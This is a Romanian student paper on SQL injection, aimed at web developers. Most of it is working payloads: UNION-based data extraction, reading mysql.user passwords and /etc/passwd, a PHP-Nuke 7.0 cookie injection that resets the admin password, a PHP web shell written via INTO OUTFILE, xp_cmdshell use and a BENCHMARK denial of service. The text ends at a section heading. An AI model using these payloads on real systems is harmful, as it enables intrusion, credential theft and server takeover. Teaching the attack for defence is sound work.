ATACURILE SQL INJECTION
Telinov Dmitri, Universitatea Tehnica a Moldovei
Introducere
Se stie
ca astazi majoritatea aplicatiilor-web îsi pastreaza datele în baza de
date, deoarece acest fapt permite de a genera dinamic pagini.
Aplicatia-web primeste de la utilizatori date, ulterior aceste date sunt
folosite de aplicatie/script pentru generarea unei cereri la baza de date.
Evident ca în majoritatea cazurilor pentru a genera cereri la baza de date
se utilizeaza limbajul SQL (Structured Query Language).
SQL Injection
este o vulnerabilitate ce apare în cazurile cînd datele primite de la
utilizatori nu se prelucreaza corect. Ca consecinta – raufacatorul
potential poate schimba cererea la baza de date, asfel fiind posibil
furtul datelor private.
Aceasta lucrare reflecta tehnicile simple si
avansate ce sunt folosite de raufacatori în procesul de exploatare a
vulnerabilitatii SQL Injection. Aceste tehnici demonstreaza cum pot fi cu
usurinta obtinut continutul bazelor de date, datele private, realizarea
atacului DoS, obtinerea privilegiilor maxime etc. Lucrarea e un studiu
care este în primul rînd destinat web-programmerilor si expertilor în
securitate, pentru a-i atrage atentia la seriozitatea si actualitatea
temei abordate.
În lucrare ma voi referi mai mul la aplicatiile ce
lucreaza cu SGBD MySQL, MS SQL Server, Oracle deoarece acestea sunt cele
mai raspîndite. Aceasta nu înseamna ca celelalte SGBD sunt mai
securizate.
1.
Bazele SQL-injection
Pentru
a întelege materialul de mai jos este nevoie de a cunoaste cel putin
bazele limbajului de interogare SQL si realizarea lucrului cu bazele de
date în PHP/ASP. Sa presupunem ca avem o baza de date ce contine relatia
(tabelul) users de urmatoarea structura:
O
interogare ce extrage datele din baza de date poate avea forma:
SELECT
*
FROM users
WHERE name = '$name'
În acest caz valorile din
cîmpul “name” sunt comparate cu valoarea variabilei “$name”. Daca valoarea
aceastei variabile a fost obtinuta din parametrii URL sau cookie si nu se
prelucreaza la simboluri speciale atunci interogarea la baza de date este
vulnerabila. Voi aduce un exemplu simplu cum raufacatorul poate modifica
interogarea.
Daca variabila $name primeste valoarea su, atunci cerea la
baza de date va fi urmatoarea:
SELECT *
FROM users
WHERE name =
'su'
Interogarea este corecta. Însa daca valoarea variabilei va primi
valoarea aaa' interogarea va deveni incorecta din punct de vedere
sintactic, deoarece este prezent un simbol ' în plus:
SELECT *
FROM
users
WHERE name = 'aaa''
Simbolul ' permite de a modifica cererea
la baza de date, si nu este unicul simbol ce permite acest lucru (dupa cum
veti vedea mai jos). Sa presupunem ca cerea de mai sus o foloseste o
aplicatie web pentru a afisa datele private a utilizatorului curent logat.
Utilizînd simbolul ' raufacatorul cu usurinta poate vedea datele private a
tuturor utilizatorilor înregistrati, transmitînd una din urmatoarele
valori pentru parametrul $name (presupunem ca în sistem sunt înregistrati
utilizatorii admin, su si lma0):
random_data' OR
name='admin
random_data' OR name='su
random_data' OR
name='lma0
Cererile SQL la baza de date vor fi:
SELECT * FROM users
WHERE name='random_data' OR name='admin'
SELECT * FROM users WHERE
name='random_data' OR name='su'
SELECT * FROM users WHERE
name='random_data' OR name='lma0'
Înjectarea permite de a extrage
datele private a unui utilizator. Raufacatorul la dorinta poate sa obtina
datele despre toti utilizatorii transmitind parametrului $name
valoarea:
random_data' OR '1'='1
Cererea cu codul
injectat:
SELECT * FROM users WHERE name='random_data' OR '1'='1'
va
întoarce toate tuplurile (înregistrarile) din tabelul
users.
2. Proceduri de testare a aplicatiilor web la
SQL-injection
Procedurile de testare a aplicatiilor web la SQL-injection se
reduc la formarea unei liste de parametri cu care lucreaza aplicatia (atît
parametrii GET cît si POST), incluzînd si parametrii cookie. Apoi acesti
parametri se testeaza individual la prelucrarea simbolurilor speciale sau
a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea
vulnerabilitatii.
2.1. Identificarea parametrilor
vulnerabili
Sa
presupunem ca aplicatia-web este configurata astfel, încît în cazul
aparitiei unei erori SQL, în browser va apare textul erorii si posibil o
portiune din interogare. Daca raufacatorului i se afiseaza chiar si o
portiune de interogare, injectarea codului SQL malicios nu va fi o
problema.
Presupunem ca aplicatiei-web i s-a transmis un parametru GET
id=aaa':
http://127.0.0.1/inj.asp?id=aaa'
Pentru a determina daca
parametrul este vulnerabil este nevoie de a cauta în pagina returnata de
server a frazelor de genul “ODBC”, “have an error”, “SQL syntax”, “SQL
Server”, “MySQL”, “Oracle” etc. Exista cazuri cînd erorile returnate de
server se plaseaza în parametrii ascunsi (hidden input, headers) sau
comentarii. În acest caz raufacatorului îi este foarte usor de a injecta
un cod SQL
malicios:
http://127.0.0.1/inj.asp?id=aaa';+drop+table+users;--
Ar
trebui de mentionat ca nu toate SGBD permit concatenarea interogarilor la
baza de date.
Este foarte raspîndita situatia, cînd din textul erorii
returnate de server poate fi aflat tipul bazei de date pe care o foloseste
aplicatia-web:
Warning: mysql_fetch_object(): supplied argument is not
a valid MySQL result
resource in ...
Textul erorii de mai sus este
foarte util raufacatorului la formarea codului SQL malicios specific unui
tip de SGBD.
2.2. Identificarea parametrilor vulnerabili în cazurile
cînd nu se afiseaza erorile
Sa
presupunem ca erorile ce apar în cazurile cererilor la baza de date nu se
afiseaza. Atunci raufacatorului îi ramine posibilitatea de a determina
prezenta vulnerabilitatii dupa comportamentul aplicatiei-web.
Cu o mare
probabilitate se poate de spus ca parametrul este vulnerabil cînd serverul
returneaza erorile 302 (page redirect) si 500 (internal server error). În
acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le
întelege este nevoie de a cunoaste tipurile de baza SQL. Atributele în SQL
pot avea unul din cele 3 tipuri de baza: numerici, sir de caractere sau
datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta
raufacatorul în procesul de exploatare a vulnerabilitatii. În SQL
parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si
valorile datetime sunt transmise între ghilimele (unele SGBD permit
transmiterea si a valorilor numerice între ghilimele):
SELECT * FROM
users WHERE id=5 /* valoare numerica */
SELECT * FROM users WHERE
name='admin' /* valoare sir de caractere*/
Testarea la SQL Injection a
parametrilor numerici este foarte simpla. Voi aduce un exemplu cu 2 cazuri
posibile:
http://127.0.0.1/inj.php?id=5'
http://127.0.0.1/inj.php?id=6-1
http://127.0.0.1/inj.php?id=4+1
Daca
parametrul id este vulnerabil în primul caz va fi generata o eroare SQL
(sau o exceptie: error 302, 500 – cînd erorile SGBD nu se afiseaza)
deoarece cererea:
/* 1 */ SELECT * FROM users WHERE id=5'
nu este
corecta din punct de vedere sintactic.
Cererile 2a si 2b:
/* 2a */
SELECT * FROM users WHERE id=6-1
/* 2b */ SELECT * FROM users WHERE
id=4+1
se for executa corect si vor da ambele acelasi rezultat (vor
extrage tuplul din baza de date cu valoarea variabilei id=5), indicînd la
100% ca parametrul numeric id este vulnerabil.
O tehnica similara se
foloseste la testarea parametrilor sir caractere cu exceptia unor
diferente: valorile parametrilor se transmit între ghilimele si
concatenarea sirurilor de caractere în diferite SGBD este realizata
diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle – semnul
||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai
jos.
Procedura de testare a parametrului
name:
http://127.0.0.1/inj.php?name=lma0
are deasemenea 2 cazuri
posibile.
În primul caz se parametrului i se transmite o valoare care o
sa genereze eroare SQL:
http://127.0.0.1/inj.php?name=lm'a0
Cererea
SQL ce va genera eroare:
/* 1 */ SELECT * FROM users WHERE
name='lm'a0'
deoarece este prezent un simbol ' în plus.
Într-al
doilea caz parametrului i se transmite o valoare ce ar indica
vulnerabilitatea
acestuia:
http://127.0.0.1/inj.php?name=l'+'ma0
http://127.0.0.1/inj.php?name=lm'+'a0
Ca
rezultat vor fi formate urmatoarele cereri la baza de date:
/* 2a */
SELECT * FROM users WHERE name='l'+'ma0'
/* 2b */ SELECT * FROM users
WHERE name='lm'+'a0'
Ambele cereri SQL sunt corecte si returneaza
acelasi rezultat.
2.3. Parametrii vulnerabili în cookie
Dupa
sum se stie aplicatia-web primeste de la utilizatori date nu numai din
cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici
nu presupun ca parametrii primiti din cookies deasemenea pot fi
vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea
7.0 care dupa cum se stie este vulnerabil la SQL injection – nu se
filtreaza datele din cookie.
Nu voi intra în detalii, doar voi
mentiona ca în PHP Nuke, în cookies se pastreaza un sir de caractere de
forma base64_encode(login:md5(pass)). Iata o portiune din
cookies:
...
*
admin
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
...
Sirul
de caractere este codificat în
base64:
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
Decodificat
va fi:
admin:96e79218965eb72c92a549dd5a330112:
Unde admin – login,
96e79218965eb72c92a549dd5a330112 – md5(pass) (functia hash md5 a parolei),
simbolul : este auxiliar.
Voi expune o portiune din cod a fisierului de
autorizare a utilizatorilor auth.php:
...
f(isset($admin) &&
$admin != "") { // daca exista variabila $admin
$admin =
base64_decode($admin); // se decodeaza din base64 (din cookie)
$admin =
explode(":", $admin); // se imparte sirul in pina si dupa “:”
$aid =
"$admin[0]"; // login-ul
$pwd = "$admin[1]"; // md5(parola) – md5 hash
din cookie
...
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE
aid='$aid'"; // !!!
...
Dupa cum se observa variabila $aid primita
din cookie nu se prelucreaza la simboluri speciale si este
vulnerabila.
Astfel raufacatorul cu usurinta poate modifica cookies.
Plasînd în locul sirului de
caractere:
caractere:
YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6
sirul:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd
2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1
JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm
E1NDlkZDVhMzMwMTEyOg==
Decodificat ca fi:
admin'; update nuke_authors SET
pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE
aid='admin:96e79218965eb72c92a549dd5a330112:
Unde
c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei
‘hacked_password’. Efectul actiunii date – schimbarea parolei
administratorului.
3. Metode de atac
Sa
presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a
exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca
tipul cererii SQL în care va fi injectat codul malicios. Cel mai des în
aplicatiile-web sunt utilizate 4 tipuri de cereri SQL:
1. SELECT
2.
INSERT
3. UPDATE
4. DELETE
Care dintre acestea este folosit
într-un caz concret, poate fi determinat analizînd logica si semantica
scriptului vulnerabil.
Daca scriptul afiseaza date ce corespund unui
identificator anumit, atunci cu o mare probabilitate cererea este de tipul
SELECT.
Daca scriptul adauga unele date în baza de date, spre exemplu
adaugarea unui comentariu, sau un post în forum – cererea este de tipul
INSERT.
Daca scriptul modifica informatia, spre exemplu schimbarea
parolei, redactarea postului în forum – cererea este de tipul
UPDATE.
Daca are loc stergerea informatiei, spre exemplu anularea
accountului, posibil ca cererea este sau de tipul DELETE sau de tipul
UPDATE.
Cel mai des sunt întîlnite vulnerabilitati în cereri
SELECT.
3.1. Injectarea UNION SELECT
Deoarece cel mai des vulnerabile sunt cererile la baza de date de
tipul select, raufacatorii în primul rînd vor încerca de a injecta clauze
UNION SELECT, deoarece în caz de succes raufacatorul va obtine acces la
toate tabelele de sistem. În aceste tabele se contine informatia despre
structura tuturor bazelor de date de pe server. Mai jos este prezentata
lista tabelelor de sistem pentru diferite SGBD:
1. MS SQL
Server
INFORMATION_SCHEMA
sysobjects
syscolumns
2.
MySQL
mysql.user
mysql.host
mysql.db
3.
Oracle
SYS.USER_OBJECTS
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.USER_TAB_COLUMNS
SYS.TAB
SYS.ALL_TABLES
Înainte
de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle
numarul de atribute în cererea SQL, tipul fiecarui atribut si denumirea
unor tabele de sistem ceea ce se considera greu de realizat în cazurile
cînd nu se afiseaza erorile în browser. Mai jos este demonstrat ca exista
unele tehnici simple care ar solutiona problemele date. Cererea UNION
SELECT trebuie sa contina acelasi numar de atribute, iar atributele
trebuie sa fie de acelasi tip.
3.1.1. Identificarea numarului de
atribute
Mai
întîi voi arata cît de simplu se afla numarul de atribute în cazul cînd se
afiseaza erorile în browser. Sa presupunem ca exista urmatoarea
vulnerabilitate în aplicatia-web ce utilizeaza SGBD
MySQL:
http://127.0.0.1/inj.php?id=5'
Pentru a afla numarul de
atribute raufacatorul va forma
cererile:
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0/*
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1/*
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2/*
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3/*
...
pîna
ce va disparea mesajul de eroare:
The used SELECT statements have a
different number of columns
Logurile MySQL:
mysql> select * from
users where id=-1 union select 0;
ERROR 1218: The used SELECT
statements have a different number of columns
mysql> select * from
users where id=-1 union select 0,1;
ERROR 1218: The used SELECT
statements have a different number of columns
mysql> select * from
users where id=-1 union select 0,1,2;
ERROR 1218: The used SELECT
statements have a different number of columns
mysql> select * from
users where id=-1 union select 0,1,2,3;
ERROR 1218: The used SELECT
statements have a different number of columns
mysql> select * from
users where id=-1 union select 0,1,2,3,4;
ERROR 1218: The used SELECT
statements have a different number of columns
mysql> select * from
users where id=-1 union select
0,1,2,3,4,5;
+----+------+--------+----------+-------+------------+
|
id | name | mgroup | password | email | ip_address
|
+----+------+--------+----------+-------+------------+
| 0 | 1 | 2
| 3 | 4 | 5
|
+----+------+--------+----------+-------+------------+
1 row in
set (0.00 sec)
În cazul cînd erorile cererii SQL nu se afiseaza în
browser raufacatorul se va folosi de clauza ORDER BY pîna ce va aparea un
mesaj de
eroare:
http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/*
http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/*
http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/*
...
Logurile
MySQL:
mysql> select * from users where id=-1 order by 1;
Empty
set (0.01 sec)
mysql> select * from users where id=-1 order by
2;
Empty set (0.00 sec)
mysql> select * from users where id=-1
order by 3;
Empty set (0.00 sec)
mysql> select * from users where
id=-1 order by 4;
Empty set (0.00 sec)
mysql> select * from users
where id=-1 order by 5;
Empty set (0.00 sec)
mysql> select * from
users where id=-1 order by 6;
Empty set (0.00 sec)
mysql> select
* from users where id=-1 order by 7;
ERROR 1054: Unknown column '7' in
'order clause'
Deoarece o cerere de tip SELECT are cel putin un
atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza
numarul coloanei dupa care se face sortarea si cînd aplicatia-web întoarce
o eroare (302 – page redirect sau 500 – internal server error) numarul
exact coloanelor se stie.
3.1.2. Identificarea tipului
atributelor
Dupa ce
se cunoaste numarul de atribute, mai ramîne de aflat tipul acestora. În
MySQL tipul datelor este foarte usor de determnat deoarece valorile
numerice pot fi considerate si ca valori sir de caractere. Însa cînd se
folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema
data se utilizeaza cuvîntul rezervat NULL, deoarece acesta poate avea
orice tip.
Presupunînd ca numarul de atribute este calculat,
raufacatorului îi este foarte usor de a înjecta clauza UNION cu toate
atributele nule. Adaugarea înstructiunii WHERE care întotdeauna va fi
evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa
nu prelucreze valorile NULL).
Voi aduce un exemplu pentru SGBD MS SQL
Server (ceea ce este similar cu SGBD
Oracle):
http://127.0.0.1/inj.asp?id=-1'
+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2--
Acest tip de
injectare cu NULL are 2 scopuri. Principalul – de a obtine o cerere cu
UNION fara erori. Si cealalta – aceasta cerere nu returneaza nimic, ceea
ce dovedeste ca totul lucreaza corect.
Odata ce este formata cererea
procesul de identificare a tipurilor atributelor devine trivial. Într-o
iteratie fiecarui atribut se dau valori numerice, sir de caractere sau
datetime.
-1'+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2—
Nici
o eroare – primul atribut este
numeric
-1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2—
Eroare
-1'+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2—
Nici
o eroare – al doilea atribut are tipul sir
caractere
-1'+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2—
Nici o
eroare – al 3-lea atribut este numeric
...
Astfel, avînd toata
înformatia, datele din tabelele de sistem pot fi obtinute cu succes. Un
exemplu de obtinere a datelor din SGBD MySQL:
mysql> select * from
users where id=-1 union select 0,1,2,mysql.user.password,4,5 from
mysql.user;
+----+------+--------+----------+-------+------------+
|
id | name | mgroup | password | email | ip_address
|
+----+------+--------+----------+-------+------------+
| 0 | 1 | 2
| fdsJD83h | 4 | 5
|
+----+------+--------+----------+-------+------------+
1 row in
set (0.00 sec)
3.2. Obtinerea unui interpretator de
comenzi
Unele
SGBD permit extragerea rezultatelor cererii SQL într-un fisier. Acest
lucru permite raufacatorilor de a forma un script care ulterior va fi util
pentru controlul total al serverului (spre exemplu un php sau asp
shell).
În MySQL extragerea rezultatelor în fisier se face utilizînd
clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul:
INSERT '<?
system($cmd) ?>' INTO OUTFILE /tmp/shell.php
În MS SQL Server
extragerea rezultatelor în fisier putin difera. În componenta cu serverul
sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si
care pot fi apelate direct din cererea SQL. Una din aceste proceduri –
master.dbo.sp_makewebtask – are destinatia aceasta.
O alta metoda de a
executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL
Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de
cerere SQL:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir'
3.3. Metode specifice de atac asupra unui anumit tip de
SGBD
3.3.1. MySQL
SQL
injecion permite de a afla si alte date:
/* baza de date curenta
*/
select * from users where id=-1 UNION SELECT
0,1,2,3,4,DATABASE();
/* utilizatorul care a lansat baza de date
*/
select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER();
/*
versiunea serverului */
select * from users where id=-1 UNION SELECT
0,1,2,3,4,VERSION();
Daca utilizatorul care a lansat SGBD are drepturi
file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de
pe server:
http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3,4,5,
LOAD_FILE('/etc/passwd')/*
O alta metoda de exploatare a
vulnerabilitatii este utilizarea functiei char(num) care reîntoarce
simbolul cu codul ASCII num:
select * from users where id=9999 union
select
0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5
from mysql.user
ceea ce este echivalent cu:
select * from users
where id=9999 union select 0,1,2,mysql.user.password,4,5 from
mysql.user
Vulnerabilitatea SQL injection poate fi exploatata si pentru
realizarea atacului DoS:
select * from users where id=
BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))
trimiterea
de catre raufacator a cîteva cereri de acest fel va face serverul sa
frîneze considerabil.
3.3.2. MS SQL Server
In baza
de date de sistem INFORMATION_SCHEMA se contine informatia despre toate
tabelele de pe server.
Extragerea datelor din baza de date poate fi cu
usurinta facuta în cazul cînd mesajele de erori ODBC se afiseaza în
browser. Sa presupunem ca exista o aplicatie-web
vulnerabila:
http://127.0.0.1/?page_id=1’
Pentru început
raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi
formata o cerere SQL malicioasa care ar extrage numele primului
tabel:
http://127.0.0.1/?page_id=-1’;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES--
Serverul va
reîntoarce:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type
smallint
Denumirea primului tabel din baza de date este table1. Apoi
pentru a afla denumirile celorlalte tabele raufacatorul pe rînd va forma
urmatoarele
cereri:
http://127.0.0.1/?page_id=-1’;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')—
Raspunsul
serverului:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table2' to a column of data type
smallint
Cererea urmatoare va
fi:
http://127.0.0.1/?page_id=-1’;
SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')—
Acest
exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de
eroare returnate de server pentru raufacator.
4. Caracteristici tipice a SGBD
4.1. MySQL